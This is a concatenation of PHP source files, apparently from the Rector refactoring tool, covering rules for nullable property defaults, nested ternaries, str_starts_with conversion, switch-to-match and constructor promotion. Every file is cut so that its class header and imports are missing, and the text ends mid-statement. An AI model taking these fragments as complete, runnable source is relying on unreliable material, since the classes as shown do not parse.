return \true; } // too short return \strlen($rawValue) <= self::GROUP_SIZE; } /** * @return string[] */ private function strSplitNegative(string $string, int $length) : array { $inversed = \strrev($string); /** @var string[] $chunks */ $chunks = \str_split($inversed, $length); $chunks = \array_reverse($chunks); foreach ($chunks as $key => $chunk) { $chunks[$key] = \strrev($chunk); } return $chunks; } } constructorAssignDetector = $constructorAssignDetector; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add null default to properties with PHP 7.4 property nullable type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public ?string $name; } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public ?string $name = null; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($this->isReadonlyClass($node)) { return null; } $hasChanged = \false; foreach ($node->getProperties() as $property) { if ($this->shouldSkip($property, $node)) { continue; } $onlyProperty = $property->props[0]; $onlyProperty->default = $this->nodeFactory->createNull(); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } private function shouldSkip(Property $property, Class_ $class) : bool { if ($property->type === null) { return \true; } if (\count($property->props) > 1) { return \true; } $onlyProperty = $property->props[0]; if ($onlyProperty->default instanceof Expr) { return \true; } if ($this->isReadonlyProperty($property)) { return \true; } if (!$this->nodeTypeResolver->isNullableType($property)) { return \true; } // is variable assigned in constructor $propertyName = $this->getName($property); return $this->constructorAssignDetector->isPropertyAssigned($class, $propertyName); } private function isReadonlyProperty(Property $property) : bool { // native readonly if ($property->isReadonly()) { return \true; } // @readonly annotation $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); return $phpDocInfo->hasByName('@readonly'); } private function isReadonlyClass(Class_ $class) : bool { // native readonly if ($class->isReadonly()) { return \true; } // @immutable annotation $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($class); return $phpDocInfo->hasByName('@immutable'); } } valueResolver = $valueResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::EXPORT_TO_REFLECTION_FUNCTION; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change export() to ReflectionFunction alternatives', [new CodeSample(<<<'CODE_SAMPLE' $reflectionFunction = ReflectionFunction::export('foo'); $reflectionFunctionAsString = ReflectionFunction::export('foo', true); CODE_SAMPLE , <<<'CODE_SAMPLE' $reflectionFunction = new ReflectionFunction('foo'); $reflectionFunctionAsString = (string) new ReflectionFunction('foo'); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StaticCall::class]; } /** * @param StaticCall $node */ public function refactor(Node $node) : ?Node { if (!$node->class instanceof Name) { return null; } $callerType = $this->nodeTypeResolver->getType($node->class); if (!$callerType->isSuperTypeOf(new ObjectType('ReflectionFunction'))->yes()) { return null; } if (!$this->isName($node->name, 'export')) { return null; } if ($node->isFirstClassCallable()) { return null; } $firstArg = $node->getArgs()[0] ?? null; if (!$firstArg instanceof Arg) { return null; } $new = new New_($node->class, [new Arg($firstArg->value)]); $secondArg = $node->getArgs()[1] ?? null; if (!$secondArg instanceof Arg) { return $new; } if ($this->valueResolver->isTrue($secondArg->value)) { return new String_($new); } return $new; } } parenthesizedNestedTernaryAnalyzer = $parenthesizedNestedTernaryAnalyzer; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_NESTED_TERNARY; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add parentheses to nested ternary', [new CodeSample(<<<'CODE_SAMPLE' $value = $a ? $b : $a ?: null; CODE_SAMPLE , <<<'CODE_SAMPLE' $value = ($a ? $b : $a) ?: null; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if ($node->cond instanceof Ternary || $node->else instanceof Ternary) { if ($this->parenthesizedNestedTernaryAnalyzer->isParenthesized($this->file, $node)) { return null; } // re-print with brackets $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } return null; } } getOldTokens(); $startTokenPos = $ternary->getStartTokenPos(); $endTokenPos = $ternary->getEndTokenPos(); $hasOpenParentheses = isset($oldTokens[$startTokenPos]) && $oldTokens[$startTokenPos] === '('; $hasCloseParentheses = isset($oldTokens[$endTokenPos]) && $oldTokens[$endTokenPos] === ')'; return $hasOpenParentheses || $hasCloseParentheses; } } args as $arg) { if (!$arg->name instanceof Identifier) { continue; } if ($arg->name->toString() !== 'nullable') { continue; } $value = $arg->value; if (!$value instanceof String_) { continue; } if (!\in_array($value->value, ['true', 'false'], \true)) { continue; } $arg->value = $value->value === 'true' ? new ConstFetch(new Name('true')) : new ConstFetch(new Name('false')); break; } } } args[0]; $firstArg->name = null; } } phpDocInfoFactory = $phpDocInfoFactory; $this->staticTypeMapper = $staticTypeMapper; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->varTagRemover = $varTagRemover; $this->phpDocInfoPrinter = $phpDocInfoPrinter; $this->docBlockUpdater = $docBlockUpdater; } public function mergePropertyAndParamDocBlocks(Property $property, Param $param, ?ParamTagValueNode $paramTagValueNode) : void { $paramComments = $param->getComments(); // already has @param tag → give it priority over @var and remove @var if ($paramTagValueNode instanceof ParamTagValueNode) { $propertyDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); if ($propertyDocInfo->hasByType(VarTagValueNode::class)) { $propertyDocInfo->removeByType(VarTagValueNode::class); $propertyComments = $this->phpDocInfoPrinter->printToComments($propertyDocInfo); /** @var Comment[] $mergedComments */ $mergedComments = \array_merge($paramComments, $propertyComments); $mergedComments = $this->removeEmptyComments($mergedComments); $param->setAttribute(AttributeKey::COMMENTS, $mergedComments); } } $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($param); } public function decorateParamWithPropertyPhpDocInfo(ClassMethod $classMethod, Property $property, Param $param, string $paramName) : void { $propertyPhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); $param->setAttribute(AttributeKey::PHP_DOC_INFO, $propertyPhpDocInfo); // make sure the docblock is useful if ($param->type === null) { $varTagValueNode = $propertyPhpDocInfo->getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { return; } $paramType = $this->staticTypeMapper->mapPHPStanPhpDocTypeToPHPStanType($varTagValueNode, $property); $classMethodPhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($classMethod); $this->phpDocTypeChanger->changeParamType($classMethod, $classMethodPhpDocInfo, $paramType, $param, $paramName); } else { $paramType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); } $this->varTagRemover->removeVarPhpTagValueNodeIfNotComment($param, $paramType); } /** * @param Comment[] $mergedComments * @return Comment[] */ private function removeEmptyComments(array $mergedComments) : array { return \array_filter($mergedComments, static function (Comment $comment) : bool { return $comment->getText() !== ''; }); } } propertyTypeChangeGuard = $propertyTypeChangeGuard; } public function isLegal(Class_ $class, ClassReflection $classReflection, Property $property, Param $param, bool $inlinePublic = \true) : bool { if (!$this->propertyTypeChangeGuard->isLegal($property, $classReflection, $inlinePublic, \true)) { return \false; } if ($class->isFinal()) { return \true; } if ($inlinePublic) { return \true; } if ($property->isPrivate()) { return \true; } if (!$param->type instanceof Node) { return \true; } return $property->type instanceof Node; } } nodeNameResolver = $nodeNameResolver; $this->strStartsWithFactory = $strStartsWithFactory; $this->nodeComparator = $nodeComparator; $this->strStartsWithFuncCallFactory = $strStartsWithFuncCallFactory; } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\Equal|\PhpParser\Node\Expr\BinaryOp\NotEqual $binaryOp */ public function match($binaryOp) : ?StrStartsWith { $isPositive = $binaryOp instanceof Identical || $binaryOp instanceof Equal; if ($binaryOp->left instanceof FuncCall && $this->nodeNameResolver->isName($binaryOp->left, self::FUNCTION_NAME)) { return $this->strStartsWithFactory->createFromFuncCall($binaryOp->left, $isPositive); } if (!$binaryOp->right instanceof FuncCall) { return null; } if (!$this->nodeNameResolver->isName($binaryOp->right, self::FUNCTION_NAME)) { return null; } return $this->strStartsWithFactory->createFromFuncCall($binaryOp->right, $isPositive); } public function refactorStrStartsWith(StrStartsWith $strStartsWith) : ?Node { if ($this->isNeedleExprWithStrlen($strStartsWith)) { return $this->strStartsWithFuncCallFactory->createStrStartsWith($strStartsWith); } if ($this->isHardcodedStringWithLNumberLength($strStartsWith)) { return $this->strStartsWithFuncCallFactory->createStrStartsWith($strStartsWith); } return null; } private function isNeedleExprWithStrlen(StrStartsWith $strStartsWith) : bool { $strncmpFuncCall = $strStartsWith->getFuncCall(); $needleExpr = $strStartsWith->getNeedleExpr(); if ($strncmpFuncCall->isFirstClassCallable()) { return \false; } if (\count($strncmpFuncCall->getArgs()) < 2) { return \false; } $thirdArg = $strncmpFuncCall->getArgs()[2]; $thirdArgExpr = $thirdArg->value; if (!$thirdArgExpr instanceof FuncCall) { return \false; } if (!$this->nodeNameResolver->isName($thirdArgExpr, 'strlen')) { return \false; } $strlenFuncCall = $thirdArgExpr; $strlenExpr = $strlenFuncCall->getArgs()[0]->value; return $this->nodeComparator->areNodesEqual($needleExpr, $strlenExpr); } private function isHardcodedStringWithLNumberLength(StrStartsWith $strStartsWith) : bool { $strncmpFuncCall = $strStartsWith->getFuncCall(); if (\count($strncmpFuncCall->getArgs()) < 2) { return \false; } $hardcodedStringNeedle = $strncmpFuncCall->getArgs()[1]->value; if (!$hardcodedStringNeedle instanceof String_) { return \false; } $lNumberLength = $strncmpFuncCall->getArgs()[2]->value; if (!$lNumberLength instanceof LNumber) { return \false; } return $lNumberLength->value === \strlen($hardcodedStringNeedle->value); } } nodeNameResolver = $nodeNameResolver; $this->valueResolver = $valueResolver; $this->strStartsWithFuncCallFactory = $strStartsWithFuncCallFactory; } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\Equal|\PhpParser\Node\Expr\BinaryOp\NotEqual $binaryOp */ public function match($binaryOp) : ?StrStartsWith { $isPositive = $binaryOp instanceof Identical || $binaryOp instanceof Equal; if ($binaryOp->left instanceof FuncCall && $this->nodeNameResolver->isName($binaryOp->left, 'strpos')) { return $this->processBinaryOpLeft($binaryOp, $isPositive); } if (!$binaryOp->right instanceof FuncCall) { return null; } if (!$this->nodeNameResolver->isName($binaryOp->right, 'strpos')) { return null; } return $this->processBinaryOpRight($binaryOp, $isPositive); } /** * @return FuncCall|BooleanNot */ public function refactorStrStartsWith(StrStartsWith $strStartsWith) : Node { $strposFuncCall = $strStartsWith->getFuncCall(); $strposFuncCall->name = new Name('str_starts_with'); return $this->strStartsWithFuncCallFactory->createStrStartsWith($strStartsWith); } private function processBinaryOpLeft(BinaryOp $binaryOp, bool $isPositive) : ?StrStartsWith { if (!$this->valueResolver->isValue($binaryOp->right, 0)) { return null; } /** @var FuncCall $funcCall */ $funcCall = $binaryOp->left; if ($funcCall->isFirstClassCallable()) { return null; } if (\count($funcCall->getArgs()) < 2) { return null; } $haystack = $funcCall->getArgs()[0]->value; $needle = $funcCall->getArgs()[1]->value; return new StrStartsWith($funcCall, $haystack, $needle, $isPositive); } private function processBinaryOpRight(BinaryOp $binaryOp, bool $isPositive) : ?StrStartsWith { if (!$this->valueResolver->isValue($binaryOp->left, 0)) { return null; } /** @var FuncCall $funcCall */ $funcCall = $binaryOp->right; if (\count($funcCall->getArgs()) < 2) { return null; } $haystack = $funcCall->getArgs()[0]->value; $needle = $funcCall->getArgs()[1]->value; return new StrStartsWith($funcCall, $haystack, $needle, $isPositive); } } nodeNameResolver = $nodeNameResolver; $this->valueResolver = $valueResolver; $this->nodeComparator = $nodeComparator; $this->strStartsWithFuncCallFactory = $strStartsWithFuncCallFactory; } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\Equal|\PhpParser\Node\Expr\BinaryOp\NotEqual $binaryOp */ public function match($binaryOp) : ?StrStartsWith { $isPositive = $binaryOp instanceof Identical || $binaryOp instanceof Equal; if ($binaryOp->left instanceof FuncCall && $this->nodeNameResolver->isName($binaryOp->left, 'substr')) { /** @var FuncCall $funcCall */ $funcCall = $binaryOp->left; $haystack = $funcCall->getArgs()[0]->value; return new StrStartsWith($funcCall, $haystack, $binaryOp->right, $isPositive); } if ($binaryOp->right instanceof FuncCall && $this->nodeNameResolver->isName($binaryOp->right, 'substr')) { /** @var FuncCall $funcCall */ $funcCall = $binaryOp->right; $haystack = $funcCall->getArgs()[0]->value; return new StrStartsWith($funcCall, $haystack, $binaryOp->left, $isPositive); } return null; } public function refactorStrStartsWith(StrStartsWith $strStartsWith) : ?Node { if ($this->isStrlenWithNeedleExpr($strStartsWith)) { return $this->strStartsWithFuncCallFactory->createStrStartsWith($strStartsWith); } if ($this->isHardcodedStringWithLNumberLength($strStartsWith)) { return $this->strStartsWithFuncCallFactory->createStrStartsWith($strStartsWith); } return null; } private function isStrlenWithNeedleExpr(StrStartsWith $strStartsWith) : bool { $substrFuncCall = $strStartsWith->getFuncCall(); if ($substrFuncCall->isFirstClassCallable()) { return \false; } $firstArg = $substrFuncCall->getArgs()[1]; if (!$this->valueResolver->isValue($firstArg->value, 0)) { return \false; } $secondFuncCallArgValue = $substrFuncCall->getArgs()[2]->value; if (!$secondFuncCallArgValue instanceof FuncCall) { return \false; } if (!$this->nodeNameResolver->isName($secondFuncCallArgValue, 'strlen')) { return \false; } $strlenFuncCall = $secondFuncCallArgValue; $needleExpr = $strlenFuncCall->getArgs()[0]->value; $comparedNeedleExpr = $strStartsWith->getNeedleExpr(); return $this->nodeComparator->areNodesEqual($needleExpr, $comparedNeedleExpr); } private function isHardcodedStringWithLNumberLength(StrStartsWith $strStartsWith) : bool { $substrFuncCall = $strStartsWith->getFuncCall(); if ($substrFuncCall->isFirstClassCallable()) { return \false; } $secondArg = $substrFuncCall->getArgs()[1]; if (!$this->valueResolver->isValue($secondArg->value, 0)) { return \false; } $expr = $strStartsWith->getNeedleExpr(); if (!$expr instanceof String_) { return \false; } if (\count($substrFuncCall->getArgs()) < 3) { return \false; } $lNumberLength = $substrFuncCall->getArgs()[2]->value; if (!$lNumberLength instanceof LNumber) { return \false; } return $lNumberLength->value === \strlen($expr->value); } } switchAnalyzer = $switchAnalyzer; $this->nodeNameResolver = $nodeNameResolver; $this->nodeComparator = $nodeComparator; $this->betterStandardPrinter = $betterStandardPrinter; } /** * @param CondAndExpr[] $condAndExprs */ public function isReturnCondsAndExprs(array $condAndExprs) : bool { foreach ($condAndExprs as $condAndExpr) { if ($condAndExpr->equalsMatchKind(MatchKind::RETURN)) { return \true; } } return \false; } /** * @param CondAndExpr[] $condAndExprs */ public function shouldSkipSwitch(Switch_ $switch, array $condAndExprs, ?Stmt $nextStmt) : bool { if ($condAndExprs === []) { return \true; } if (!$this->switchAnalyzer->hasEachCaseBreak($switch)) { return \true; } if ($this->switchAnalyzer->hasDifferentTypeCases($switch->cases, $switch->cond)) { return \true; } if (!$this->switchAnalyzer->hasEachCaseSingleStmt($switch)) { return \false; } if ($this->switchAnalyzer->hasDefaultSingleStmt($switch)) { return \false; } // is followed by return? is considered implicit default if ($this->isNextStmtReturnWithExpr($switch, $nextStmt)) { return \false; } return !$nextStmt instanceof Throw_; } /** * @param CondAndExpr[] $condAndExprs */ public function haveCondAndExprsMatchPotential(array $condAndExprs) : bool { $uniqueCondAndExprKinds = $this->resolveUniqueKindsWithoutThrows($condAndExprs); if (\count($uniqueCondAndExprKinds) > 1) { return \false; } $assignVariableNames = []; foreach ($condAndExprs as $condAndExpr) { $expr = $condAndExpr->getExpr(); if (!$expr instanceof Assign) { continue; } if ($expr->var instanceof ArrayDimFetch) { $assignVariableNames[] = $this->betterStandardPrinter->print($expr->var); } else { $assignVariableNames[] = \get_class($expr->var) . $this->nodeNameResolver->getName($expr->var); } } $assignVariableNames = \array_unique($assignVariableNames); return \count($assignVariableNames) <= 1; } /** * @param CondAndExpr[] $condAndExprs */ public function hasCondsAndExprDefaultValue(array $condAndExprs) : bool { foreach ($condAndExprs as $condAndExpr) { if ($condAndExpr->getCondExprs() === null) { return \true; } } return \false; } public function hasDefaultValue(Match_ $match) : bool { foreach ($match->arms as $matchArm) { if ($matchArm->conds === null) { return \true; } if ($matchArm->conds === []) { return \true; } } return \false; } /** * @param CondAndExpr[] $condAndExprs * @return array */ private function resolveUniqueKindsWithoutThrows(array $condAndExprs) : array { $condAndExprKinds = []; foreach ($condAndExprs as $condAndExpr) { if ($condAndExpr->equalsMatchKind(MatchKind::THROW)) { continue; } $condAndExprKinds[] = $condAndExpr->getMatchKind(); } return \array_unique($condAndExprKinds); } private function isNextStmtReturnWithExpr(Switch_ $switch, ?Stmt $nextStmt) : bool { if (!$nextStmt instanceof Return_) { return \false; } if (!$nextStmt->expr instanceof Expr) { return \false; } foreach ($switch->cases as $case) { /** @var Expression[] $expressions */ $expressions = \array_filter($case->stmts, static function (Node $node) : bool { return $node instanceof Expression; }); foreach ($expressions as $expression) { if (!$expression->expr instanceof Assign) { continue; } if (!$this->nodeComparator->areNodesEqual($expression->expr->var, $nextStmt->expr)) { return \false; } } } return \true; } } nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; } /** * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassLike|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Param $node */ public function hasPhpAttribute($node, string $attributeClass) : bool { foreach ($node->attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attribute) { if (!$this->nodeNameResolver->isName($attribute->name, $attributeClass)) { continue; } return \true; } } return \false; } /** * @param AttributeName::* $attributeClass */ public function hasInheritedPhpAttribute(Class_ $class, string $attributeClass) : bool { $className = (string) $this->nodeNameResolver->getName($class); if (!$this->reflectionProvider->hasClass($className)) { return \false; } $classReflection = $this->reflectionProvider->getClass($className); $ancestorClassReflections = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); foreach ($ancestorClassReflections as $ancestorClassReflection) { $nativeReflection = $ancestorClassReflection->getNativeReflection(); if ((\method_exists($nativeReflection, 'getAttributes') ? $nativeReflection->getAttributes($attributeClass) : []) !== []) { return \true; } } return \false; } /** * @param string[] $attributeClasses * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassLike|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Param $node */ public function hasPhpAttributes($node, array $attributeClasses) : bool { foreach ($attributeClasses as $attributeClass) { if ($this->hasPhpAttribute($node, $attributeClass)) { return \true; } } return \false; } /** * @param AttributeGroup[] $attributeGroups */ public function hasRemoveArrayState(array $attributeGroups) : bool { foreach ($attributeGroups as $attributeGroup) { foreach ($attributeGroup->attrs as $attribute) { $args = $attribute->args; if ($this->hasArgWithRemoveArrayValue($args)) { return \true; } } } return \false; } /** * @param Arg[] $args */ private function hasArgWithRemoveArrayValue(array $args) : bool { foreach ($args as $arg) { if (!$arg->value instanceof Array_) { continue; } foreach ($arg->value->items as $item) { if (!$item instanceof ArrayItem) { continue; } if ($item->value instanceof String_ && $item->value->value === DocTagNodeState::REMOVE_ARRAY) { return \true; } } } return \false; } } nodeNameResolver = $nodeNameResolver; $this->betterNodeFinder = $betterNodeFinder; $this->nodeComparator = $nodeComparator; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } /** * @return PropertyPromotionCandidate[] */ public function resolveFromClass(Class_ $class, ClassMethod $constructClassMethod) : array { $propertyPromotionCandidates = []; foreach ($class->getProperties() as $property) { $propertyCount = \count($property->props); if ($propertyCount !== 1) { continue; } $propertyPromotionCandidate = $this->matchPropertyPromotionCandidate($property, $constructClassMethod); if (!$propertyPromotionCandidate instanceof PropertyPromotionCandidate) { continue; } $propertyPromotionCandidates[] = $propertyPromotionCandidate; } return $propertyPromotionCandidates; } private function matchPropertyPromotionCandidate(Property $property, ClassMethod $constructClassMethod) : ?PropertyPromotionCandidate { if ($property->flags === 0) { return null; } $onlyProperty = $property->props[0]; $propertyName = $this->nodeNameResolver->getName($onlyProperty); $firstParamAsVariable = $this->resolveFirstParamUses($constructClassMethod); // match property name to assign in constructor foreach ((array) $constructClassMethod->stmts as $stmt) { if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } $assign = $stmt->expr; // promoted property must use non-static property only if (!$assign->var instanceof PropertyFetch) { continue; } if (!$this->propertyFetchAnalyzer->isLocalPropertyFetchName($assign->var, $propertyName)) { continue; } // 1. is param $assignedExpr = $assign->expr; if (!$assignedExpr instanceof Variable) { continue; } $matchedParam = $this->matchClassMethodParamByAssignedVariable($constructClassMethod, $assignedExpr); if (!$matchedParam instanceof Param) { continue; } if ($this->shouldSkipParam($matchedParam, $assignedExpr, $firstParamAsVariable)) { continue; } return new PropertyPromotionCandidate($property, $matchedParam, $stmt); } return null; } /** * @return array */ private function resolveFirstParamUses(ClassMethod $classMethod) : array { $paramByFirstUsage = []; foreach ($classMethod->params as $param) { $paramName = $this->nodeNameResolver->getName($param); $firstParamVariable = $this->betterNodeFinder->findFirst((array) $classMethod->stmts, function (Node $node) use($paramName) : bool { if (!$node instanceof Variable) { return \false; } return $this->nodeNameResolver->isName($node, $paramName); }); if (!$firstParamVariable instanceof Node) { continue; } $paramByFirstUsage[$paramName] = $firstParamVariable->getStartTokenPos(); } return $paramByFirstUsage; } private function matchClassMethodParamByAssignedVariable(ClassMethod $classMethod, Variable $variable) : ?Param { foreach ($classMethod->params as $param) { if (!$this->nodeComparator->areNodesEqual($variable, $param->var)) { continue; } return $param; } return null; } /** * @param array $firstParamAsVariable */ private function isParamUsedBeforeAssign(Variable $variable, array $firstParamAsVariable) : bool { $variableName = $this->nodeNameResolver->getName($variable); $firstVariablePosition = $firstParamAsVariable[$variableName] ?? null; if ($firstVariablePosition === null) { return \false; } return $firstVariablePosition < $variable->getStartTokenPos(); } /** * @param int[] $firstParamAsVariable */ private function shouldSkipParam(Param $matchedParam, Variable $assignedVariable, array $firstParamAsVariable) : bool { // already promoted if ($matchedParam->flags !== 0) { return \true; } return $this->isParamUsedBeforeAssign($assignedVariable, $firstParamAsVariable); } } getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return []; } $promotedPropertyParams = []; foreach ($constructClassMethod->getParams() as $param) { if ($param->flags === 0) { continue; } $promotedPropertyParams[] = $param; } return $promotedPropertyParams; } } nodeTypeResolver = $nodeTypeResolver; $this->typeFactory = $typeFactory; } /** * @param Case_[] $cases */ public function hasDifferentTypeCases(array $cases, Expr $expr) : bool { $types = []; foreach ($cases as $case) { if ($case->cond instanceof Expr) { $types[] = $this->nodeTypeResolver->getType($case->cond); } } if ($types === []) { return \false; } $uniqueTypes = $this->typeFactory->uniquateTypes($types); $countUniqueTypes = \count($uniqueTypes); if ($countUniqueTypes === 1 && $uniqueTypes[0]->isInteger()->yes()) { $switchCondType = $this->nodeTypeResolver->getType($expr); if (!$switchCondType instanceof MixedType && $switchCondType->isString()->maybe()) { return \true; } } return $countUniqueTypes > 1; } public function hasEachCaseBreak(Switch_ $switch) : bool { $totalCases = \count($switch->cases); if ($totalCases === 1) { return $this->containsCaseReturn($switch->cases[0]); } foreach ($switch->cases as $key => $case) { if ($key === $totalCases - 1) { return \true; } if ($this->hasBreakOrReturnOrEmpty($case)) { continue; } return \false; } return \true; } public function hasEachCaseSingleStmt(Switch_ $switch) : bool { foreach ($switch->cases as $case) { if (!$case->cond instanceof Expr) { continue; } $stmtsWithoutBreak = \array_filter($case->stmts, static function (Node $node) : bool { return !$node instanceof Break_; }); if (\count($stmtsWithoutBreak) !== 1) { return \false; } } return \true; } public function hasDefaultSingleStmt(Switch_ $switch) : bool { foreach ($switch->cases as $case) { if (!$case->cond instanceof Expr) { $stmtsWithoutBreak = \array_filter($case->stmts, static function (Node $node) : bool { return !$node instanceof Break_; }); return \count($stmtsWithoutBreak) === 1; } } return \false; } private function hasBreakOrReturnOrEmpty(Case_ $case) : bool { if ($case->stmts === []) { return \true; } foreach ($case->stmts as $caseStmt) { if ($caseStmt instanceof Break_) { return \true; } if ($caseStmt instanceof Return_) { return \true; } } return \false; } private function containsCaseReturn(Case_ $case) : bool { foreach ($case->stmts as $stmt) { if ($stmt instanceof Return_) { return \true; } } return \false; } } phpAttributeGroupFactory = $phpAttributeGroupFactory; } /** * @param DoctrineTagAndAnnotationToAttribute[] $doctrineTagAndAnnotationToAttributes * @param Use_[] $uses * @return AttributeGroup[] */ public function create(array $doctrineTagAndAnnotationToAttributes, array $uses) : array { $attributeGroups = []; foreach ($doctrineTagAndAnnotationToAttributes as $doctrineTagAndAnnotationToAttribute) { $doctrineAnnotationTagValueNode = $doctrineTagAndAnnotationToAttribute->getDoctrineAnnotationTagValueNode(); // add attributes $attributeGroups[] = $this->phpAttributeGroupFactory->create($doctrineAnnotationTagValueNode, $doctrineTagAndAnnotationToAttribute->getAnnotationToAttribute(), $uses); } return $attributeGroups; } } getExpr(); if ($expr instanceof Assign) { // $this->assignExpr = $expr->var; $expr = $expr->expr; } $condExprs = $condAndExpr->getCondExprs(); $matchArms[] = new MatchArm($condExprs, $expr); } return $matchArms; } } matchArmsFactory = $matchArmsFactory; $this->matchSwitchAnalyzer = $matchSwitchAnalyzer; $this->nodeComparator = $nodeComparator; } /** * @param CondAndExpr[] $condAndExprs */ public function createFromCondAndExprs(Expr $condExpr, array $condAndExprs, ?Stmt $nextStmt) : ?MatchResult { $shouldRemoteNextStmt = \false; // is default value missing? maybe it can be found in next stmt if (!$this->matchSwitchAnalyzer->hasCondsAndExprDefaultValue($condAndExprs)) { // 1. is followed by throws stmts? if ($nextStmt instanceof ThrowsStmt) { $throw = new Throw_($nextStmt->expr); $condAndExprs[] = new CondAndExpr([], $throw, MatchKind::RETURN); $shouldRemoteNextStmt = \true; } // 2. is followed by return expr // implicit return default after switch if ($nextStmt instanceof Return_ && $nextStmt->expr instanceof Expr) { // @todo this should be improved $expr = $this->resolveAssignVar($condAndExprs); if ($expr instanceof ArrayDimFetch) { return null; } if ($expr instanceof Expr && !$this->nodeComparator->areNodesEqual($nextStmt->expr, $expr)) { return null; } $shouldRemoteNextStmt = !$expr instanceof Expr; $condAndExprs[] = new CondAndExpr([], $nextStmt->expr, MatchKind::RETURN); } } $matchArms = $this->matchArmsFactory->createFromCondAndExprs($condAndExprs); $match = new Match_($condExpr, $matchArms); return new MatchResult($match, $shouldRemoteNextStmt); } /** * @param CondAndExpr[] $condAndExprs */ private function resolveAssignVar(array $condAndExprs) : ?Expr { foreach ($condAndExprs as $condAndExpr) { $expr = $condAndExpr->getExpr(); if (!$expr instanceof Assign) { continue; } return $expr->var; } return null; } } phpNestedAttributeGroupFactory = $phpNestedAttributeGroupFactory; } /** * @param NestedDoctrineTagAndAnnotationToAttribute[] $nestedDoctrineTagAndAnnotationToAttributes * @param Use_[] $uses * @return AttributeGroup[] */ public function create(array $nestedDoctrineTagAndAnnotationToAttributes, array $uses) : array { $attributeGroups = []; foreach ($nestedDoctrineTagAndAnnotationToAttributes as $nestedDoctrineTagAndAnnotationToAttribute) { $doctrineAnnotationTagValueNode = $nestedDoctrineTagAndAnnotationToAttribute->getDoctrineAnnotationTagValueNode(); $nestedAnnotationToAttribute = $nestedDoctrineTagAndAnnotationToAttribute->getNestedAnnotationToAttribute(); // do not create alternative for the annotation, only unwrap if (!$nestedAnnotationToAttribute->shouldRemoveOriginal()) { // add attributes $attributeGroups[] = $this->phpNestedAttributeGroupFactory->create($doctrineAnnotationTagValueNode, $nestedDoctrineTagAndAnnotationToAttribute->getNestedAnnotationToAttribute(), $uses); } $nestedAttributeGroups = $this->phpNestedAttributeGroupFactory->createNested($doctrineAnnotationTagValueNode, $nestedDoctrineTagAndAnnotationToAttribute->getNestedAnnotationToAttribute()); $attributeGroups = \array_merge($attributeGroups, $nestedAttributeGroups); } return \array_unique($attributeGroups, \SORT_REGULAR); } } getHaystackExpr()), new Arg($strStartsWith->getNeedleExpr())]; $funcCall = new FuncCall(new Name('str_starts_with'), $args); if ($strStartsWith->isPositive()) { return $funcCall; } return new BooleanNot($funcCall); } } converterAttributeDecorators = $converterAttributeDecorators; } /** * @param AttributeGroup[] $attributeGroups */ public function decorate(array $attributeGroups) : void { foreach ($attributeGroups as $attributeGroup) { foreach ($attributeGroup->attrs as $attr) { $phpAttributeName = $attr->name->getAttribute(AttributeKey::PHP_ATTRIBUTE_NAME); foreach ($this->converterAttributeDecorators as $converterAttributeDecorator) { if ($converterAttributeDecorator->getAttributeName() !== $phpAttributeName) { continue; } $converterAttributeDecorator->decorate($attr); } } } } } $oldToNewPositions * @param T[] $argOrParams * @return T[] */ public function sortArgsByExpectedParamOrder(array $argOrParams, array $oldToNewPositions) : array { $newArgsOrParams = []; foreach (\array_keys($argOrParams) as $position) { \assert(\is_int($position)); $newPosition = $oldToNewPositions[$position] ?? null; if ($newPosition === null) { continue; } $newArgsOrParams[$position] = $argOrParams[$newPosition]; } return $newArgsOrParams; } } getParameters() as $position => $parameterReflection) { if (!$parameterReflection->getDefaultValue() instanceof Type && !$parameterReflection->isVariadic()) { $requireParams[$position] = $parameterReflection; } else { $optionalParams[$position] = $parameterReflection; } } return $requireParams + $optionalParams; } } areCasesValid($newSwitch)) { return []; } $this->moveDefaultCaseToLast($newSwitch); foreach ($newSwitch->cases as $key => $case) { if ($case->stmts !== []) { continue; } if (!$case->cond instanceof Expr) { continue; } $collectionEmptyCasesCond[$key] = 